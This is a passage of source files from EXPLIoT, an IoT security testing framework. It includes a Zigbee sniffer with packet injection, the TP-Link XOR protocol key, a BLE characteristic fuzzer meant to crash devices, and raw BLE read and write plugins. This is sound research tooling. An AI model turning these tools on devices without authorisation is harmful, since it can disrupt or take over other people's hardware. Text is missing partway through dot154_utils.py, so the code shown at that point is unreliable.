ModbusTcpClient(MBTClient): 6 | """Wrapper for the Modbus client.""" 7 | pass 8 | -------------------------------------------------------------------------------- /expliot/core/protocols/internet/mqtt/aws.py: -------------------------------------------------------------------------------- 1 | """Wrapper for AWSIoTPythonSDK MQTT functionality""" 2 | # pylint: disable=unused-import, import-error 3 | from AWSIoTPythonSDK.MQTTLib import AWSIoTMQTTClient, MQTTv3_1_1 4 | 5 | DEFAULT_AWSIOT_PORT = 8883 6 | DEFAULT_AWSIOT_TIMEOUT = 5 7 | 8 | 9 | # pylint: disable=invalid-name, attribute-defined-outside-init 10 | class AwsMqttClient(AWSIoTMQTTClient): 11 | """ 12 | Wrapper on AWSIoTMQTTClient class. It implements easy configuration 13 | method, default callbacks and connection state check. If you need 14 | customized configuration and callbacks, directly use AWSIoTMQTTClient 15 | instead. 16 | """ 17 | 18 | def __init__( 19 | self, 20 | client_id, 21 | protocol_type=MQTTv3_1_1, 22 | use_websocket=False, 23 | clean_session=True, 24 | ): 25 | """ 26 | Initialize the client and super class. 27 | 28 | :param client_id: MQTT Client ID 29 | :param protocol_type: MQTT Protocol version 30 | :param use_websocket: MQTT over Websocket or TCP? 31 | :param clean_session: MQTT Clean session 32 | """ 33 | super().__init__( 34 | clientID=client_id, 35 | protocolType=protocol_type, 36 | useWebsocket=use_websocket, 37 | cleanSession=clean_session, 38 | ) 39 | self.is_connected = False 40 | 41 | def _onlinecb(self): 42 | """ 43 | A callback method that is called when the thing 44 | gets connected to the AWS IoT endpoint. 45 | """ 46 | 47 | self.is_connected = True 48 | 49 | def _offlinecb(self): 50 | """ 51 | A callback method that is called when the thing 52 | gets disconnected from the AWS IoT endpoint. 53 | """ 54 | self.is_connected = False 55 | 56 | def easy_disconnect(self): 57 | """ 58 | Wrapper on super.disconnect() with a check for valid connection 59 | before disconnecting. For resource cleanup we need to make sure 60 | and call disconnect() in finally clause in the plugins, however 61 | if it is not connected disconnect() raises an Exception, which 62 | we need to avoid. Hence, this implementation. 63 | """ 64 | if self.is_connected: 65 | self.disconnect() 66 | 67 | def easy_config(self, **kwargs): 68 | """ 69 | Wrapper on different configuration methods in one go 70 | and provides simple callbacks to monitor connection and subscribe. 71 | 72 | :param host: The AWS endpoint hostname 73 | :param port: The AWS endpoint port 74 | :param use_websocket: Use websocket or not 75 | :param rootca: AWS Root CA file 76 | :param privatekey: AWS Thing private key file 77 | :param cert: AWS Thing certificate file 78 | :param user: User Name 79 | :param passwd: Password 80 | :param timeout: Connection and MQTT operation timeout 81 | """ 82 | 83 | timeout = kwargs["timeout"] if kwargs["timeout"] else DEFAULT_AWSIOT_TIMEOUT 84 | self.configureEndpoint(kwargs["host"], kwargs["port"]) 85 | if kwargs["use_websocket"]: 86 | self.configureCredentials(kwargs["rootca"]) 87 | else: 88 | self.configureCredentials( 89 | kwargs["rootca"], kwargs["privatekey"], kwargs["cert"] 90 | ) 91 | 92 | if kwargs["user"] and kwargs["passwd"]: 93 | self.configureUsernamePassword(kwargs["user"], kwargs["passwd"]) 94 | 95 | # thing connection configuration, values taken from AWS sample 96 | # https://github.com/aws/aws-iot-device-sdk-python/blob/master/samples/basicPubSub/basicPubSub.py 97 | self.configureAutoReconnectBackoffTime(1, 32, 20) 98 | self.configureOfflinePublishQueueing(-1) 99 | self.configureDrainingFrequency(2) 100 | self.configureConnectDisconnectTimeout(timeout) 101 | self.configureMQTTOperationTimeout(timeout) 102 | 103 | # Set default callbacks 104 | self.onOnline = self._onlinecb 105 | self.onOffline = self._offlinecb 106 | -------------------------------------------------------------------------------- /expliot/core/protocols/internet/upnp/__init__.py: -------------------------------------------------------------------------------- 1 | """Wrapper for UPNP Protocol""" 2 | from upnpy.ssdp.SSDPRequest import SSDPRequest 3 | from upnpy.ssdp.SSDPDevice import SSDPDevice 4 | from expliot.core.discovery import Discovery 5 | 6 | DEFAULT_UPNP_TIMEOUT = 2 7 | DISCOVER_ALL = "ssdp:all" 8 | 9 | 10 | def device_dict(self): 11 | """ 12 | Returns the details of the Device in a dict. 13 | 14 | Args: 15 | None 16 | Returns: 17 | dict: Dictionary containing the device details. Dict keys are: 18 | 1. host 19 | 2. port 20 | 3. description 21 | 4. friendly_name 22 | 5. type 23 | 6. base_url 24 | 7. services 25 | """ 26 | details = { 27 | "host": self.host, 28 | "port": self.port, 29 | "friendly_name": self.friendly_name, 30 | "type": self.type_, 31 | "base_url": self.base_url, 32 | "response": self.response, 33 | "description": self.description, 34 | "services": [srv.service_dict() for srv in self.get_services()] 35 | } 36 | return details 37 | 38 | 39 | setattr(SSDPDevice, "device_dict", device_dict) 40 | 41 | 42 | def service_dict(self): 43 | """ 44 | Returns the details of a device's service in a dict. 45 | 46 | Args: 47 | None 48 | Returns: 49 | dict: Dictionary containing the service details. Dict keys are: 50 | 1. name 51 | 2. type 52 | 3. version 53 | 4. id 54 | 5. description 55 | 6. scpd_url 56 | 7. control_url 57 | 8. event_sub_url 58 | 9. base_url 59 | 10. actions 60 | 11. state_variables 61 | """ 62 | details = { 63 | "name": self.service, 64 | "type": self.type_, 65 | "version": self.version, 66 | "id": self.id, 67 | "description": self.description, 68 | "scpd_url": self.scpd_url, 69 | "control_url": self.control_url, 70 | "event_sub_url": self.event_sub_url, 71 | "base_url": self.base_url, 72 | "actions": [act.action_dict() for act in self.get_actions()], 73 | "state_variables": list(self.state_variables.keys()) 74 | } 75 | return details 76 | 77 | 78 | setattr(SSDPDevice.Service, "service_dict", service_dict) 79 | 80 | 81 | def action_dict(self): 82 | """ 83 | Returns the name and argument details of a service. 84 | 85 | Args: 86 | None 87 | Returns: 88 | dict: Dictionary containing the action details. 89 | """ 90 | details = { 91 | "name": self.name, 92 | "arguments": [arg.argument_dict() for arg in self.arguments] 93 | } 94 | return details 95 | 96 | 97 | setattr(SSDPDevice.Service.Action, "action_dict", action_dict) 98 | 99 | 100 | def state_variable_dict(self): 101 | """ 102 | Returns the details of the state variable s of a service. 103 | 104 | Args: 105 | None 106 | Returns: 107 | dict: Dictionary containing the state variable details. 108 | """ 109 | details = { 110 | "name": self.name, 111 | "data_type": self.data_type, 112 | "allowed_value_list": self.allowed_value_list 113 | } 114 | return details 115 | 116 | 117 | setattr(SSDPDevice.Service.StateVariable, "state_variable_dict", state_variable_dict) 118 | 119 | 120 | def argument_dict(self): 121 | """ 122 | Returns the details of an argument to an action. 123 | 124 | Args: 125 | None 126 | Returns: 127 | dict: Dictionary containing the argument details. 128 | """ 129 | details = { 130 | "name": self.name, 131 | "direction": self.direction, 132 | "return_value": self.return_value, 133 | "related_state_variable": self.related_state_variable, 134 | # "arguments": [arg.argument_dict() for arg in self.arguments] 135 | } 136 | return details 137 | 138 | 139 | setattr(SSDPDevice.Service.Action.Argument, "argument_dict", argument_dict) 140 | 141 | 142 | class UpnpDiscovery(Discovery): 143 | """Discovery for UPNP devices on a network.""" 144 | 145 | # pylint: disable=super-init-not-called, invalid-name 146 | def __init__(self, timeout=DEFAULT_UPNP_TIMEOUT, st=DISCOVER_ALL): 147 | self.timeout = timeout 148 | self.st = st 149 | self._devices = [] 150 | 151 | def scan(self): 152 | ssdp = SSDPRequest() 153 | devs = ssdp.m_search(discover_delay=self.timeout, st=self.st) 154 | for dev in devs: 155 | self._devices.append(dev.device_dict()) 156 | 157 | def devices(self): 158 | """ 159 | Returns the UPNP devices found in the network. 160 | 161 | Args: 162 | None 163 | Returns: 164 | list: List of devices found 165 | """ 166 | return self._devices 167 | -------------------------------------------------------------------------------- /expliot/core/protocols/radio/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for radio interfaces.""" 2 | -------------------------------------------------------------------------------- /expliot/core/protocols/radio/ble/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for BLE.""" 2 | from bluepy.btle import Scanner, Peripheral, DefaultDelegate, \ 3 | ADDR_TYPE_RANDOM, ADDR_TYPE_PUBLIC 4 | 5 | 6 | DEFAULT_NOTIFY_TIMEOUT = 10 7 | 8 | 9 | class Ble: 10 | """A wrapper around simple BLE operations.""" 11 | # Advertising Data Type value for "Complete Local Name" 12 | # Ref: https://www.bluetooth.com/specifications/assigned-numbers/generic-access-profile 13 | ADTYPE_NAME = 9 14 | 15 | @staticmethod 16 | def scan(iface=0, tout=10): 17 | """Scan for BLE devices.""" 18 | scanner = BleScanner(iface) 19 | scanentries = scanner.scan(timeout=tout) 20 | return scanentries 21 | 22 | 23 | class BleScanner(Scanner): 24 | """A wrapper around bluepy Scanner class.""" 25 | 26 | pass 27 | 28 | 29 | class BlePeripheral(Peripheral): 30 | """A wrapper around bluepy Peripheral class.""" 31 | 32 | def enable_notify(self, delegate, handle, write_response=False): 33 | """ 34 | Enables notification for a specific characteristic on a Peripheral. 35 | It's a Wrapper on Peripheral class methods for setting Delegate and 36 | writing to the characteristic(handle + 1) the value "\0x01\x00" to 37 | enable the notification as per the BLE spec. 38 | 39 | Args: 40 | delegate (DefaultDelegate): Overriden DefaultDelegate Object 41 | handle (int): The handle of the characteristic for notification 42 | write_response (bool): True, if sending write command and False if 43 | sending only write request (for which there is no response 44 | from the peripheral). Default is False. 45 | """ 46 | self.withDelegate(delegate) 47 | self.writeCharacteristic(handle + 1, b"\x01\x00", withResponse=write_response) 48 | 49 | 50 | class BleNotifyDelegate(DefaultDelegate): 51 | """Delegate class for reading notification data as required by Bluepy""" 52 | 53 | def __init__(self, callback): 54 | """Initialize with super's init and set custom callback. This is implemented 55 | to keep a tab on the no. of times handleNotification is called. 56 | 57 | Args: 58 | callback (callback(handle, data)): Callback method to be specified 59 | by the caller. It takes two parameters - handle and data which 60 | are the same as Bluepy handleNotification() callback 61 | """ 62 | DefaultDelegate.__init__(self) 63 | self._count = 0 64 | self._callback = callback 65 | 66 | def count(self): 67 | """Count of the no. of times handleNotification() is called. 68 | 69 | Args: 70 | None 71 | Returns: 72 | (int) Returns the count 73 | """ 74 | return self._count 75 | 76 | def handleNotification(self, cHandle, data): 77 | """Callback method as defined by Bluepy. 78 | 79 | Args: 80 | cHandle(integer): handle for the characteristic - this can be 81 | used to distinguish between notifications from multiple 82 | sources on the same peripheral. 83 | data(bytes): The characteristic data received. 84 | Returns: 85 | Nothing 86 | 87 | """ 88 | self._count += 1 89 | self._callback(cHandle, data) 90 | -------------------------------------------------------------------------------- /expliot/core/protocols/radio/dot154/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for IEEE802.15.4 Protocol Plugins""" 2 | 3 | import time 4 | import struct 5 | from expliot.core.common.pcaphelper import PcapDumper, PcapDumpReader, PcapFrame 6 | from expliot.core.common.timer import Timer 7 | from expliot.core.interfaces.zbauditor import ZbAuditor 8 | 9 | 10 | class Dot154Radio: 11 | """Radio Class for IEEE 802.15.4 Protocol.""" 12 | 13 | def __init__(self): 14 | """Get Zb Auditor instance.""" 15 | 16 | self.__zbauditor = None 17 | 18 | self.__zbauditor = ZbAuditor() 19 | 20 | def get_device_info(self): 21 | """Returns basic information of Radio attached.""" 22 | 23 | return self.__zbauditor.get_interface_info() 24 | 25 | def radio_on(self): 26 | """Turn ON Radio.""" 27 | 28 | self.__zbauditor.radio_on() 29 | 30 | def set_channel(self, channel, page=0): 31 | """Set Channel and Page.""" 32 | 33 | self.__zbauditor.set_channel(channel, page) 34 | 35 | def sniffer_on(self, channel, page=0): 36 | """Turn ON Sniffer. 37 | 38 | :param channel: zigbee channel 39 | :param page: zigbee frequecy page 40 | """ 41 | 42 | self.__zbauditor.sniffer_on(channel, page) 43 | 44 | def read_raw_packet(self): 45 | """Read single packet from radio driver. 46 | 47 | :return: dict with packet as element 48 | """ 49 | 50 | packet = self.__zbauditor.packet_read() 51 | if packet is not None: 52 | return packet["packet"] 53 | return None 54 | 55 | def sniffer_off(self): 56 | """Turn OFF Sniffer.""" 57 | 58 | self.__zbauditor.sniffer_off() 59 | 60 | def radio_off(self): 61 | """Turn OFF Radio.""" 62 | 63 | self.__zbauditor.radio_off() 64 | 65 | def inject_raw_packet(self, packet): 66 | """Send raw packet to radio driver.""" 67 | 68 | self.__zbauditor.inject_packet(packet) 69 | 70 | def get_received_packets(self): 71 | """Returns total number of packet received.""" 72 | 73 | return self.__zbauditor.get_rxcount() 74 | 75 | def get_transmitted_packets(self): 76 | """returns total number of packet transmitted.""" 77 | 78 | return self.__zbauditor.get_txcount() 79 | 80 | def __del__(self): 81 | if self.__zbauditor: 82 | self.radio_off() 83 | -------------------------------------------------------------------------------- /expliot/core/protocols/radio/dot154/dot154_utils.py: -------------------------------------------------------------------------------- 1 | """IEEE 802.15.4 Protocol support.""" 2 | import struct 3 | 4 | MAC_FC_FTYPE_MASK = 0x0007 5 | MAC_FC_FTYPE_BEACON = 0 6 | MAC_FC_FTYPE_DATA = 1 7 | MAC_FC_FTYPE_ACK = 2 8 | MAC_FC_FTYPE_CMD = 3 9 | 10 | DEST_ADDR_MODE_MASK = 0x0C00 11 | SRC_ADDR_MODE_MASK = 0xC000 12 | 13 | DEST_ADDR_MODE_SHORT = 0x0800 14 | DEST_ADDR_MODE_LONG = 0x0C00 15 | 16 | 17 | def is_beacon_packet(packet): 18 | """Return true if Frame type is BEACON. 19 | 20 | :param packet: Zigbee packet 21 | :return bool: True if packet is BEACON else False 22 | """ 23 | fctype = struct.unpack("H", packet[0:2])[0] 24 | if (fctype & MAC_FC_FTYPE_MASK) == MAC_FC_FTYPE_BEACON: 25 | return True 26 | return False 27 | 28 | 29 | def is_ack_packet(packet): 30 | """Return true if Frame type is ACK. 31 | 32 | :param packet: Zigbee packet 33 | :return bool: True if packet is ACK else False 34 | """ 35 | fctype = struct.unpack("H", packet[0:2])[0] 36 | if (fctype & MAC_FC_FTYPE_MASK) == MAC_FC_FTYPE_ACK: 37 | return True 38 | return False 39 | 40 | 41 | def is_data_packet(packet): 42 | """Return true if Frame type is DATA. 43 | 44 | :param packet: Zigbee packet 45 | :return bool: True if packet is DATA else False 46 | """ 47 | fctype = struct.unpack("H", packet[0:2])[0] 48 | if (fctype & MAC_FC_FTYPE_MASK) == MAC_FC_FTYPE_DATA: 49 | return True 50 | return False 51 | 52 | 53 | def is_cmd_packet(packet): 54 | """Return true if Frame type is CMD. 55 | 56 | :param packet: Zigbee packet 57 | :return bool: True if packet is CMD else False 58 | """ 59 | fctype = struct.unpack("H", packet[0:2])[0] 60 | if (fctype & MAC_FC_FTYPE_MASK) == MAC_FC_FTYPE_CMD: 61 | return True 62 | return False 63 | 64 | 65 | def get_dst_pan_from_packet(packet): 66 | """Return Destination PAN from data or command packets 67 | 68 | :param packet: Zigbee packet 69 | :return int: Destination PAN address 70 | """ 71 | cntl_field = struct.unpack("H", packet[:2])[0] 72 | 73 | if (cntl_field & MAC_FC_FTYPE_MASK) == MAC_FC_FTYPE_DATA or ( 74 | cntl_field & MAC_FC_FTYPE_MASK 75 | ) == MAC_FC_FTYPE_CMD: 76 | if (cntl_field & DEST_ADDR_MODE_MASK) == DEST_ADDR_MODE_SHORT or ( 77 | cntl_field & DEST_ADDR_MODE_MASK 78 | ) == DEST_ADDR_MODE_LONG: 79 | return struct.unpack(" 0: 39 | pkg = packages.pop() 40 | pmod = importlib.import_module(pkg) 41 | prefix = "{}.".format(pmod.__name__) 42 | for finder, name, is_pkg in pkgutil.iter_modules(pmod.__path__, prefix): 43 | if is_pkg: 44 | packages.append(name) 45 | else: 46 | mod = importlib.import_module(name) 47 | for test_name, test_class in inspect.getmembers(mod): 48 | if ( 49 | inspect.isclass(test_class) 50 | and issubclass(test_class, Test) 51 | and test_class not in TestSuite.testcls 52 | ): 53 | test = test_class() 54 | self[test.id] = { 55 | "class": test_class, 56 | "summary": test.summary, 57 | } 58 | -------------------------------------------------------------------------------- /expliot/core/ui/__init__.py: -------------------------------------------------------------------------------- 1 | """Command-line user interface for EXPLIoT.""" 2 | -------------------------------------------------------------------------------- /expliot/core/vendors/__init__.py: -------------------------------------------------------------------------------- 1 | """Vendor specific code""" 2 | -------------------------------------------------------------------------------- /expliot/core/vendors/tplink/__init__.py: -------------------------------------------------------------------------------- 1 | """ TP Link IoT specific code""" 2 | 3 | TPL_KEY = 171 4 | TPL_PORT = 9999 5 | -------------------------------------------------------------------------------- /expliot/core/vendors/tplink/crypto.py: -------------------------------------------------------------------------------- 1 | """Encrypt & Decrypt module for the TP-Link smart device plugins""" 2 | 3 | 4 | import codecs 5 | from struct import pack 6 | from expliot.core.vendors.tplink import TPL_KEY 7 | 8 | 9 | # Encryption and Decryption of TP-Link Smart Home Protocol 10 | def encrypt(string): 11 | """ 12 | Encryption of input string which is in JSON format. 13 | Uses XOR cypher to encrypt. 14 | 15 | Args: 16 | string(str): The JSON string to encrypt. 17 | 18 | Returns(bytes): 19 | Data to be sent to the TP-Link smart devices. 20 | """ 21 | 22 | # Step 1 : Add length of message as header 23 | result = pack(">I", len(string)) 24 | result = list(map(hex, result)) 25 | key = TPL_KEY 26 | # Step 2 : Using XOR Autokey Cipher 27 | for iter_string in string: 28 | current_char = key ^ ord(iter_string) 29 | key = current_char 30 | result.append(hex(current_char)) 31 | 32 | # Step 3 : Convert hex array to hex string 33 | # 0x prefix for Hex not required 34 | # Example: ["0x0","0x21"] => "0021" 35 | result = [iter_result[2:] for iter_result in result] 36 | result = [ir if len(ir) == 2 else "0" + ir for ir in result] 37 | result = "".join(result) 38 | 39 | # Step 3 : Convert hex string to bytes 40 | result = bytes(bytearray.fromhex(result)) 41 | return result 42 | 43 | 44 | def decrypt(string): 45 | """ 46 | Decryption of the hex string which was encrypted using XOR cypher. 47 | 48 | Args: 49 | string(str): Hex string to be decrypted, without the 0x prefix. Ex. 2a3b4cddeeff11. 50 | 51 | Returns(str): 52 | Decrypted string which is in JSON format. 53 | 54 | """ 55 | 56 | result = "" 57 | string = codecs.decode(string, "hex") 58 | key = TPL_KEY 59 | 60 | # Skipping initial 4 byte of message header 61 | string = string[4:] 62 | string = "".join(map(chr, string)) 63 | 64 | # Using XOR Autokey Cipher to decrypt 65 | for iter_string in string: 66 | current_char = key ^ ord(iter_string) 67 | key = ord(iter_string) 68 | result += chr(current_char) 69 | 70 | return result 71 | -------------------------------------------------------------------------------- /expliot/expliot.py: -------------------------------------------------------------------------------- 1 | """Main part to start """ 2 | import argparse 3 | 4 | from expliot.core.ui.cli import Cli 5 | from expliot.core.tests.test import TLog 6 | 7 | from expliot.constants import BANNER 8 | 9 | 10 | class EfCli: 11 | """The interactive console and CLI interface for EXPLIoT framework.""" 12 | 13 | cli = Cli(prompt="ef> ", intro=BANNER) 14 | 15 | @classmethod 16 | def main(cls): 17 | """ 18 | Run a single command given on the command line or run the main command 19 | loop of the console if no command line arguments given. 20 | 21 | :return: 22 | """ 23 | TLog.init() 24 | 25 | parser = argparse.ArgumentParser( 26 | description="Expliot - Internet Of Things Security Testing and " 27 | "Exploitation Framework Command Line Interface." 28 | ) 29 | 30 | parser.add_argument( 31 | "cmd", 32 | nargs="?", 33 | help="Command to execute. If no command is given, it enters an " 34 | "interactive console. To see the list of available commands " 35 | "use the help command", 36 | ) 37 | parser.add_argument( 38 | "cmd_args", 39 | nargs=argparse.REMAINDER, 40 | help="Sub-command and/or (optional) arguments", 41 | ) 42 | 43 | args = parser.parse_args() 44 | 45 | if args.cmd: 46 | # Execute a single command and exit 47 | cls.cli.onecmd_plus_hooks("{} {}".format(args.cmd, " ".join(args.cmd_args))) 48 | else: 49 | # No command line argument specified, drop into interactive mode 50 | cls.cli.cmdloop() 51 | 52 | 53 | if __name__ == "__main__": 54 | EfCli.main() 55 | -------------------------------------------------------------------------------- /expliot/plugins/__init__.py: -------------------------------------------------------------------------------- 1 | """Plugins for EXPLIoT.""" 2 | -------------------------------------------------------------------------------- /expliot/plugins/ble/__init__.py: -------------------------------------------------------------------------------- 1 | """Support for Bluetooth LE tests.""" 2 | BLE_REF = "https://en.wikipedia.org/wiki/Bluetooth_Low_Energy" 3 | -------------------------------------------------------------------------------- /expliot/plugins/ble/blecharfuzz.py: -------------------------------------------------------------------------------- 1 | """Support for testing BLE devices with fuzzing.""" 2 | from random import randint 3 | from expliot.core.tests.test import Test, TCategory, TTarget, \ 4 | TLog, LOGNO 5 | from expliot.core.protocols.radio.ble import BlePeripheral, \ 6 | ADDR_TYPE_RANDOM, ADDR_TYPE_PUBLIC 7 | from expliot.plugins.ble import BLE_REF 8 | 9 | 10 | # pylint: disable=bare-except 11 | class BleCharFuzz(Test): 12 | """ 13 | Test Bluetooth LE device with fuzzing. 14 | 15 | output Format: 16 | [ 17 | {"fuzzvalue": "92abde110e"}, # The fuzzed characteristic value sent 18 | # ... May be more than one fuzzvalue 19 | ] 20 | """ 21 | 22 | def __init__(self): 23 | """Initialize the test.""" 24 | 25 | super().__init__( 26 | name="fuzzchar", 27 | summary="BLE Characteristic value fuzzer", 28 | descr="This test allows you to fuzz the value of a characteristic " 29 | "and write to a BLE peripheral device. Devices that have " 30 | "improper input handling code for values usually crash/reboot.", 31 | author="Arun Magesh", 32 | email="arun.m@payatu.com", 33 | ref=[BLE_REF], 34 | category=TCategory(TCategory.BLE, TCategory.RD, TCategory.FUZZ), 35 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 36 | ) 37 | 38 | self.argparser.add_argument( 39 | "-a", 40 | "--addr", 41 | required=True, 42 | help="Address of BLE device whose characteristic value will be fuzzed", 43 | ) 44 | self.argparser.add_argument( 45 | "-n", 46 | "--handle", 47 | required=True, 48 | type=lambda x: int(x, 0), 49 | help="Specify the handle to write to. Prefix 0x if handle is hex", 50 | ) 51 | self.argparser.add_argument( 52 | "-w", 53 | "--value", 54 | required=True, 55 | help="Specify the value to fuzz and write. Mark the bytes as xx in " 56 | "the value that you want to fuzz. For ex. if the valid value is " 57 | "bd0ace and you want to fuzz the 2nd byte, specify the value as " 58 | "bdxxce. You can also fuzz the whole value just mark all bytes as xxxxxx", 59 | ) 60 | # self.argparser.add_argument("-f", "--fuzz", type=int, default=0, 61 | # help="""Specify the type of fuzzing to be performed i.e. how to change the marked 62 | # bytes in the value. 0 = random, 1 = sequential. Default is 0""") 63 | self.argparser.add_argument( 64 | "-i", 65 | "--iter", 66 | type=int, 67 | default=255, 68 | help="Specify the no. of iterations to fuzz the value. Default is 255", 69 | ) 70 | 71 | self.argparser.add_argument( 72 | "-r", 73 | "--randaddrtype", 74 | action="store_true", 75 | help="Use LE address type random. If not specified use address type public", 76 | ) 77 | 78 | self.argparser.add_argument( 79 | "-s", 80 | "--noresponse", 81 | action="store_true", 82 | help="Send write command instead of write request i.e. no response, if specified", 83 | ) 84 | 85 | def execute(self): 86 | """Execute the test.""" 87 | TLog.generic( 88 | "Fuzzing the value ({}), iterations ({}) for handle ({}) on BLE device ({})".format( 89 | self.args.value, self.args.iter, hex(self.args.handle), self.args.addr 90 | ) 91 | ) 92 | try: 93 | device = BlePeripheral() 94 | device.connect( 95 | self.args.addr, 96 | addrType=( 97 | ADDR_TYPE_RANDOM 98 | if self.args.randaddrtype 99 | else ADDR_TYPE_PUBLIC 100 | ), 101 | ) 102 | for _ in range(self.args.iter): 103 | value = self.args.value 104 | while value.find("xx") >= 0: 105 | value = value.replace( 106 | "xx", "{:02x}".format(randint(0, 0xFF)), 1 # nosec 107 | ) 108 | 109 | self.output_handler(tlogtype=TLog.TRYDO, 110 | msg="Writing the fuzzed value ({})".format(value), 111 | logkwargs=LOGNO, 112 | fuzzvalue=value) 113 | device.writeCharacteristic( 114 | self.args.handle, 115 | bytes.fromhex(value), 116 | withResponse=(not self.args.noresponse), 117 | ) 118 | except: # noqa: E722 119 | self.result.exception() 120 | finally: 121 | device.disconnect() 122 | -------------------------------------------------------------------------------- /expliot/plugins/ble/blecharread.py: -------------------------------------------------------------------------------- 1 | """Test the possibility to read characteristic data from a Bluetooth LE device.""" 2 | from expliot.core.tests.test import Test, TCategory, TTarget, TLog 3 | from expliot.core.protocols.radio.ble import BlePeripheral, \ 4 | ADDR_TYPE_RANDOM, ADDR_TYPE_PUBLIC 5 | from expliot.plugins.ble import BLE_REF 6 | 7 | 8 | # pylint: disable=bare-except 9 | class BleCharRead(Test): 10 | """ 11 | Plugin to read characteristic data from a Bluetooth LE device. 12 | 13 | output Format: 14 | [{"readvalue": "Foobar value"}] 15 | 16 | """ 17 | 18 | def __init__(self): 19 | """Initialize the test.""" 20 | super().__init__( 21 | name="readchar", 22 | summary="BLE Characteristic Reader", 23 | descr="This plugin allows you to read a characteristic value from a BLE peripheral device", 24 | author="Arun Magesh", 25 | email="arun.m@payatu.com", 26 | ref=[BLE_REF], 27 | category=TCategory( 28 | TCategory.BLE, 29 | TCategory.RD, 30 | TCategory.ANALYSIS), 31 | target=TTarget( 32 | TTarget.GENERIC, 33 | TTarget.GENERIC, 34 | TTarget.GENERIC), 35 | ) 36 | 37 | self.argparser.add_argument( 38 | "-a", 39 | "--addr", 40 | required=True, 41 | help="Address of BLE device whose characteristic value will be read from", 42 | ) 43 | self.argparser.add_argument( 44 | "-n", 45 | "--handle", 46 | required=True, 47 | type=lambda x: int(x, 0), 48 | help="Specify the handle to read from. Prefix 0x if handle is hex", 49 | ) 50 | self.argparser.add_argument( 51 | "-r", 52 | "--randaddrtype", 53 | action="store_true", 54 | help="Use LE address type random. If not specified use address type public", 55 | ) 56 | 57 | def execute(self): 58 | """Execute the Plugin.""" 59 | TLog.generic( 60 | "Reading from handle ({}) on BLE device ({})".format( 61 | hex(self.args.handle), self.args.addr 62 | ) 63 | ) 64 | device = BlePeripheral() 65 | try: 66 | device.connect( 67 | self.args.addr, 68 | addrType=( 69 | ADDR_TYPE_RANDOM 70 | if self.args.randaddrtype 71 | else ADDR_TYPE_PUBLIC 72 | ), 73 | ) 74 | self.output_handler(readvalue=device.readCharacteristic(self.args.handle)) 75 | except: # noqa: E722 76 | self.result.exception() 77 | finally: 78 | device.disconnect() 79 | -------------------------------------------------------------------------------- /expliot/plugins/ble/blecharwrite.py: -------------------------------------------------------------------------------- 1 | """Test the possibility to write data to a Bluetooth LE device.""" 2 | from expliot.core.tests.test import Test, TCategory, TTarget, TLog 3 | from expliot.core.protocols.radio.ble import BlePeripheral, \ 4 | ADDR_TYPE_RANDOM, ADDR_TYPE_PUBLIC 5 | from expliot.plugins.ble import BLE_REF 6 | 7 | 8 | # pylint: disable=bare-except 9 | class BleCharWrite(Test): 10 | """ 11 | Plugin to write characteristic data to a Bluetooth LE device. 12 | 13 | Output Format: 14 | There is no output for this plugin 15 | """ 16 | 17 | def __init__(self): 18 | """Initialize the test.""" 19 | super().__init__( 20 | name="writechar", 21 | summary="BLE Characteristic writer", 22 | descr="This test allows you to write a value to a characteristic on a BLE peripheral device", 23 | author="Aseem Jakhar", 24 | email="aseemjakhar@gmail.com", 25 | ref=[BLE_REF], 26 | category=TCategory(TCategory.BLE, TCategory.RD, TCategory.ANALYSIS), 27 | target=TTarget(TTarget.GENERIC, TTarget.GENERIC, TTarget.GENERIC), 28 | ) 29 | 30 | self.argparser.add_argument( 31 | "-a", 32 | "--addr", 33 | required=True, 34 | help="Address of BLE device whose characteristic value will be written to", 35 | ) 36 | self.argparser.add_argument( 37 | "-n", 38 | "--handle", 39 | required=True, 40 | type=lambda x: int(x, 0), 41 | help="Specify the handle to write to. Prefix 0x if handle is hex", 42 | ) 43 | self.argparser.add_argument( 44 | "-w", "--value", required=True, help="Specify the value to write" 45 | ) 46 | self.argparser.add_argument( 47 | "-r", 48 | "--randaddrtype", 49 | action="store_true", 50 | help="Use LE address type random. If not specified use address type public", 51 | ) 52 | self.argparser.add_argument( 53 | "-s", 54 | "--noresponse", 55 | action="store_true", 56 | help="Send write command instead of write request i.e. no response, if specified", 57 | ) 58 | 59 | def execute(self): 60 | """Execute the test.""" 61 | TLog.generic( 62 | "Writing the value ({}) to handle ({}) on BLE device ({})".format( 63 | self.args.value, hex(self.args.handle), self.args.addr 64 | ) 65 | ) 66 | device = BlePeripheral() 67 | try: 68 | device.connect( 69 | self.args.addr, 70 | addrType=( 71 | ADDR_TYPE_RANDOM 72 | if self.args.randaddrtype 73 | else ADDR_TYPE_PUBLIC 74 | ), 75 | ) 76 | device.writeCharacteristic( 77 | self.args.handle, 78 | bytes.fromhex(self.args.value), 79 | withResponse=(not self.args.noresponse), 80 | ) 81 | except: # noqa: E722 82 | self.result.exception() 83 | finally: 84 | device.disconnect() 85 | -------------------------------------------------------------------------------- /expliot/plugins/ble/blenotifyread.py: -------------------------------------------------------------------------------- 1 | """Test the possibility of enabling notification for a characteristic on a Bluetooth LE device.""" 2 | from expliot.core.tests.test import Test, TCategory, TTarget, \ 3 | TLog, LOGNO 4 | from expliot.core.protocols.radio.ble import BlePeripheral, \ 5 | BleNotifyDelegate, ADDR_TYPE_RANDOM, ADDR_TYPE_PUBLIC, \ 6 | DEFAULT_NOTIFY_TIMEOUT 7 | from expliot.core.common.timer import Timer 8 | from expliot.plugins.ble import BLE_REF 9 | 10 | 11 | # pylint: disable=bare-except 12 | class BleNotifyRead(Test): 13 | """ 14 | Plugin to enable notification and read characteristic data from a Bluetooth LE device. 15 | 16 | output Format: 17 | [{"ndata": 1}] 18 | """ 19 | 20 | def __init__(self): 21 | """Initialize the plugin.""" 22 | super().__init__( 23 | name="notifychar", 24 | summary="BLE Characteristic Notification Reader", 25 | descr="This plugin allows you to send a notify request for a " 26 | " characteristic, wait for notification data and display" 27 | " the values received from the BLE peripheral device", 28 | author="Arun Magesh", 29 | email="arun.m@payatu.com", 30 | ref=[BLE_REF], 31 | category=TCategory( 32 | TCategory.BLE, 33 | TCategory.RD, 34 | TCategory.ANALYSIS), 35 | target=TTarget( 36 | TTarget.GENERIC, 37 | TTarget.GENERIC, 38 | TTarget.GENERIC), 39 | ) 40 | self.argparser.add_argument( 41 | "-a", 42 | "--addr", 43 | required=True, 44 | help="Address of BLE device whose characteristic notify value 